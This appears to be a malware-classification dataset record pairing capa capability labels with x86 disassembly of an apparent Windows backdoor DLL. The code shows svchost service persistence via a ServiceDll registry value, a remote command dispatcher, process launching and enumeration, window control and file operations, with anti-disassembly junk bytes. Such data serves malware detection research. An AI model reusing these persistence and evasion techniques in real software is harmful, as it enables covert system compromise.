joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a610
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
nop
nop
sub eax, eax
je 0x1000a627
nop
nop
nop
nop
jae 0x1000a5bf
xor dword [eax + 0x68], ebx
aas
add byte [edi], cl
add byte [edx], ch
pop eax
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000a642
jmp 0x1000a68c
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000a66a
push 0
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]

Function at 0x1000a6a0
Capabilities:
Start service

Disassembly:
and byte [ecx], al
adc byte [ecx + 0x7d83fc45], cl
cld
add byte [ebp + 0xc], dh
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1000a68c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push eax
nop
nop
sub eax, eax
je 0x1000a6ba
nop
nop
nop
nop
jae 0x1000a652
xor dword [eax - 0x39], ebx
test eax, edi
invalid
pop eax
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x10c], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jne 0x1000a6f5
or eax, 0xffffffff
jmp 0x1000a7a2
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0xc8
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str._svcHost.exe__k
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x104]
push ecx
push 1
push 2
push 0x110
push 0xf01ff
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x1000a793
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x108]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a7b0
Capabilities:
Delete service

Disassembly:
add dword [edi], ecx
add byte [ebx - 0x74adf3ab], cl
inc ebp
or byte [eax - 0x75], dl
invalid
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
nop
nop
sub eax, eax
je 0x1000a7c7
nop
nop
nop
nop
jae 0x1000a75f
xor dword [eax - 0x39], ebx
inc ebp
cld
add byte [eax], al
add byte [eax], al
pop eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000a7f3
or eax, 0xffffffff
jmp 0x1000a83d
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000a81d
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x1000a83d
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a850
Capabilities:
Set registry value

Disassembly:
inc eax
and byte [ecx], al
adc byte [ecx + 0x7d83f845], cl
clc
add byte [ebp + 0xe], dh
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
push eax
nop
nop
sub eax, eax
je 0x1000a86a
nop
nop
nop
nop
jae 0x1000a802
xor dword [eax - 0x39], ebx
inc ebp
cld
add byte [eax], al
add byte [eax], al
pop eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x114], 0
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a8ae
jmp 0x1000a91c
mov byte [ebp - 0x10c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x110]
push eax
lea ecx, [ebp - 0x10c]
push ecx
push 2
push 0
push str.ServiceDll
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a930
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push eax
nop
nop
sub eax, eax
je 0x1000a947
nop
nop
nop
nop
jae 0x1000a8df
xor dword [eax - 0x39], ebx
inc ebp
cld
add byte [eax], al
add byte [eax], al
pop eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a985
jmp 0x1000a9b4
mov dword [ebp - 0xc], 4
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp + 0xc]
push ecx
push 4
push 0
push str.Start
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a9c0
Capabilities:
Set registry value

Disassembly:
add byte [eax + 0x202c15ff], al
add dword [eax], edx
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
push eax
nop
nop
sub eax, eax
je 0x1000a9da
nop
nop
nop
nop
jae 0x1000a972
xor dword [eax - 0x39], ebx
test eax, edi
invalid
pop eax
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x114], 0
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x108]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x1000aa2a
jmp fcn.1000aa9e
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0x110], eax
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
Function at 0x1000b0d0
Capabilities:
Delete file

Disassembly:
in eax, 0x5d
ret
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100118fc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov dword [eax], 0x100123c8
mov dword [ebp - 4], 0
push eax
nop
nop
sub eax, eax
je 0x1000b10f
nop
nop
nop
nop
jae 0x1000b0a7
xor dword [eax - 0x75], ebx
dec ebp
in al, dx
pop eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x10
call fcn.10004c70
mov ecx, dword [ebp - 0x14]
cmp dword [ecx + 0xc], 0
je 0x1000b139
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
Function at 0x1000b180
Capabilities:
Delete file

Disassembly:
mov ah, 0x62
add byte [eax], al
add esp, 4
mov edx, dword [ebp - 0x14]
add edx, 0x124
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0x14]
add ecx, 0x10
call fcn.10004c70
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x14]
add ecx, 0x10
call fcn.10003810
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
nop
nop
sub eax, eax
je 0x1000b19a
nop
nop
nop
nop
jae 0x1000b132
xor dword [eax - 0x75], ebx
inc ebp
or byte [eax + 0x68], dl
inc edx
pop ds
add byte [eax], al
pop eax
mov eax, dword [ebp + 8]
push eax
push 0x1f42
mov ecx, dword [ebp - 8]
add ecx, 0x10
call fcn.10004ad0
test eax, eax
jne 0x1000b1ba
xor eax, eax
jmp 0x1000b346
mov ecx, 1
test ecx, ecx
je 0x1000b341
mov ecx, dword [ebp - 8]
call fcn.1000da50
test eax, eax
jne 0x1000b1d8
jmp 0x1000b341
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
mov dword [ecx + 4], 0
mov edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
sub eax, 0x1771
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x1a
ja case.0x1000b209.12
mov ecx, dword [ebp - 0xc]
jmp dword [ecx*4 + 0x1000b34f]
mov ecx, dword [ebp - 8]
call fcn.1000c950
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000c9f0
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000d5a0
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000d4d0
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000d6f0
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000d650
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000b490
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000b9f0
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000b800
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000b530
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000bca0
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000bbe0
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000b750
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000b4e0
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000b400
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000bfe0
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000c470
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000b3c0
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000cd20
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000cae0
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000d090
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000cdb0
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000ceb0
jmp 0x1000b32e
mov ecx, dword [ebp - 8]
call fcn.1000cfd0
jmp 0x1000b32e
mov edx, dword [ebp - 8]
mov dword [edx + 4], 0x1b5e
mov ecx, dword [ebp - 8]
call fcn.1000db20
test eax, eax
jne 0x1000b33c
jmp 0x1000b341
jmp 0x1000b1ba
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000b3c0
Capabilities:
Create thread

Disassembly:
mov dl, 0
adc al, ch
mov dl, 0
adc byte [edx + esi*4], al
adc byte [ecx - 0x4e], dl
add byte [eax], dl
and al, 0xb3
add byte [eax], dl
sub dh, byte [edx - 0x4dc8f000]
add byte [eax], dl
and al, 0xb3
add byte [eax], dl
aam 0xb2
add byte [eax], dl
mov dl, 0
adc ah, bh
mov dl, 0
adc byte [eax], dl
mov bl, 0
adc byte [esi], al
mov bl, 0
adc byte [ebx + esi*4], ah
add byte [eax], dl
sbb dh, byte [ebx - 0x4d7af000]
add byte [eax], dl
adc byte [edx - 0x4de2f000], dh
add byte [eax], dl
fidiv word [edx - 0x3333f000]
int3
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
push eax
nop
nop
sub eax, eax
je 0x1000b3d8
nop
nop
nop
nop
jae 0x1000b370
xor dword [eax - 0x75], ebx
inc ebp
cld
pop eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
push edx
push 0
push 0x100027e0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000b490
Capabilities:
Create directory

Disassembly:
add bh, dh
int1
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
nop
nop
sub eax, eax
je 0x1000b4aa
nop
nop
nop
nop
jae 0x1000b442
xor dword [eax - 0x75], ebx
inc ebp
clc
pop eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1000b4ce
mov eax, dword [ebp - 8]
mov dword [eax + 4], 0x1b62
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000b530
Capabilities:
Create directory
Move file

Disassembly:
in al, dx
push edi
mov dword [ebp - 8], ecx
push eax
nop
nop
sub eax, eax
je 0x1000b4fa
nop
nop
nop
nop
jae 0x1000b492
xor dword [eax - 0x75], ebx
inc ebp
clc
pop eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0x400
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x1000b526
mov ecx, dword [ebp - 8]
mov dword [ecx + 4], 0x1b61
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
mov dword [ebp - 0x114], ecx
push eax
nop
nop
sub eax, eax
je 0x1000b550
nop
nop
nop
nop
jae 0x1000b4e8
xor dword [eax - 0x75], ebx
test esp, ebp
invalid
pop eax
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x10c], ecx
mov byte [ebp - 0x108], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x5c
push 0
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000b5a5
mov eax, dword [ebp - 0x114]
mov dword [eax + 4], 0x1b63
jmp fcn.1000b626
mov ecx, dword [ebp - 4]
mov byte [ecx], 0
mov edx, dword [ebp - 4]
add edx, 1
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 0x114]
call fcn.1000dac0
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffff
jne 0x1000b5e8
mov ecx, dword [ebp - 0x114]
mov dword [ecx + 4], 0x1b69
jmp fcn.1000b626
Function at 0x1000b630
Capabilities:
Get disk information
Get disk size

Disassembly:
imul ebx, dword [ebx], 0x3eeb0000
mov edx, dword [ebp - 0x110]
push edx
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp - 0x10c]
push ecx
mov ecx, dword [ebp - 0x114]
call fcn.1000c020
test eax, eax
jne 0x1000b619
mov edx, dword [ebp - 0x114]
mov dword [edx + 4], 0x1b58
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x24], ecx
push eax
nop
nop
sub eax, eax
je 0x1000b64a
nop
nop
nop
nop
jae 0x1000b5e2
xor dword [eax - 0x75], ebx
inc ebp
or byte [eax - 0x75], dl
dec ebp
or al, 0x81
shl dword [eax], 2
add byte [eax], al
pop eax
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp + 0xc]
add ecx, 0x220
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp + 0xc]
add edx, 0x18
push edx
mov eax, dword [ebp + 0xc]
add eax, 0x10
push eax
mov ecx, dword [ebp + 0xc]
add ecx, 8
push ecx
mov edx, dword [ebp + 0xc]
add edx, 0x220
push edx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
jne 0x1000b6bb
mov eax, dword [ebp + 0xc]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
mov ecx, dword [ebp + 0xc]
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov edx, dword [ebp + 0xc]
mov dword [edx + 0x18], 0
mov dword [edx + 0x1c], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov byte [ebp - 0x20], 0
xor eax, eax
mov dword [ebp - 0x1f], eax
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov word [ebp - 0xb], ax
mov byte [ebp - 9], al
mov ecx, dword [ebp + 8]
push ecx
push 0x10014600
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x80
mov eax, dword [ebp + 0xc]
add eax, 0x120
push eax
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 8]
push edx
push 0
push 0x80
mov eax, dword [ebp + 0xc]
add eax, 0x20
push eax
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x1000b750
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
push edi
mov dword [ebp - 0x268], ecx
push eax
nop
nop
sub eax, eax
je 0x1000b770
nop
nop
nop
nop
jae 0x1000b708
xor dword [eax - 0x75], ebx
test dword [eax - 0x74000003], ebx
dec eax
or al, 0x89
lea ebx, [ebp + edi*8 - 0x7a380001]
mov al, byte [0xfffffd]
add byte [eax], al
add byte [ecx + 0x96], bh
pop eax
mov eax, dword [ebp - 0x268]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x260], 0
mov ecx, 0x96
xor eax, eax
lea edi, [ebp - 0x258]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x260]
push edx
mov eax, dword [ebp - 0x264]
push eax
mov ecx, dword [ebp - 0x268]
call fcn.1000b630
mov ecx, dword [ebp - 0x268]
Function at 0x1000b960
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push edi
mov dword [ebp - 0x22c], ecx
push eax
nop
nop
sub eax, eax
je 0x1000b980
nop
nop
nop
nop
jae 0x1000b918
xor dword [eax - 0x39], ebx
test eax, ebx
std
invalid
pop eax
mov dword [ebp - 0x228], 0
mov ecx, 0x88
xor eax, eax
lea edi, [ebp - 0x224]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x204]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x228]
push edx
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
Function at 0x1000bfe0
Capabilities:
Create process on windows

Disassembly:
and byte [ecx], al
adc byte [ebp - 0xdd8a40], al
adc eax, sym.imp.KERNEL32.dll_GetLastError
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
nop
nop
sub eax, eax
je 0x1000bffa
nop
nop
nop
nop
jae 0x1000bf92
xor dword [eax - 0x75], ebx
inc ebp
clc
pop eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
push 5
push 0
push 0
mov edx, dword [ebp - 4]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000c950
Capabilities:
Enumerate gui resources
Write file on windows

Disassembly:
cld
push eax
call fcn.1000a250
add esp, 8
mov dword [ebp - 0x10c], 0
push 0
lea ecx, [ebp - 0x10c]
push ecx
push 0x808
lea edx, [ebp - 0x914]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
push eax
nop
nop
sub eax, eax
je 0x1000c96a
nop
nop
nop
nop
jae 0x1000c902
xor dword [eax - 0x75], ebx
dec ebp
invalid
pop eax
mov ecx, dword [ebp - 0x10]
call fcn.1000dac0
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x1000c988
mov eax, dword [ebp - 0x10]
mov dword [eax + 4], 0x1b69
jmp 0x1000c9dd
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 8], eax
push 0x2000000
push 0
push 0
call dword [sym.imp.USER32.dll_OpenInputDesktop]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000c9ba
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
mov edx, dword [ebp - 0xc]
push edx
push 0x1000c7f0
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000c9f0
Capabilities:
Enumerate gui resources

Disassembly:
adc eax, sym.imp.USER32.dll_OpenInputDesktop
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
push eax
nop
nop
sub eax, eax
je 0x1000ca0a
nop
nop
nop
nop
jae 0x1000c9a2
xor dword [eax - 0x75], ebx
inc ebp
invalid
pop eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 8], eax
push 0x2000000
push 0
push 0
call dword [sym.imp.USER32.dll_OpenInputDesktop]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000ca46
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x804]
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 0x10
je 0x1000ca5a
jmp 0x1000ca72
push 0
push 0
push 0x10
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x800]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
jmp 0x1000ca8c
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x804]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x800]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0x804], 3
je 0x1000caa4
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x804], 5
jne 0x1000cac4
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x800]
push edx
call dword [sym.imp.USER32.dll_BringWindowToTop]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x800]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000cae0
Capabilities:
Enumerate processes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x344
push ebx
push esi
push edi
mov dword [ebp - 0x344], ecx
push eax
nop
nop
sub eax, eax
je 0x1000cb00
nop
nop
nop
nop
jae 0x1000ca98
xor dword [eax + 0x6a], ebx
add byte [edx + 2], ch
pop eax
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000cb25
mov eax, dword [ebp - 0x344]
mov dword [eax + 4], 0x1b59
jmp 0x1000cd19
mov dword [ebp - 0x338], 0
mov ecx, 0x49
xor eax, eax
lea edi, [ebp - 0x334]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x338], 0x128
lea ecx, [ebp - 0x338]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x1000cb78
mov eax, dword [ebp - 0x344]
mov dword [eax + 4], 0x1b59
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000cd19
call fcn.1000a2e0
mov ecx, dword [ebp - 0x344]
call fcn.1000dac0
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0xffffffff
jne 0x1000cba9
mov edx, dword [ebp - 0x344]
mov dword [edx + 4], 0x1b69
jmp 0x1000cd19
mov dword [ebp - 0x210], 0
mov ecx, 0x82
xor eax, eax
lea edi, [ebp - 0x20c]
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x324]
mov dword [ebp - 0x208], eax
mov ecx, dword [ebp - 0x31c]
mov dword [ebp - 0x20c], ecx
mov edx, dword [ebp - 0x330]
mov dword [ebp - 0x210], edx
lea eax, [ebp - 0x314]
push eax
lea ecx, [ebp - 0x204]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x5c
push 0
lea edx, [ebp - 0x204]
push edx
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
test eax, eax
jne 0x1000cc25
lea eax, [ebp - 0x204]
push eax
mov ecx, dword [ebp - 0x210]
push ecx
call fcn.1000a250
add esp, 8
mov dword [ebp - 0x33c], 0
push 0
lea edx, [ebp - 0x33c]
push edx
push 0x20c
lea eax, [ebp - 0x210]
push eax
mov ecx, dword [ebp - 0x340]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]